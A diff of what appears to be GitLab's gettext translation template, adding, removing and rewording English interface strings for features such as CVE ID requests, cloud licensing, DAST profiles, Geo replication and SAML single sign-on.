msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
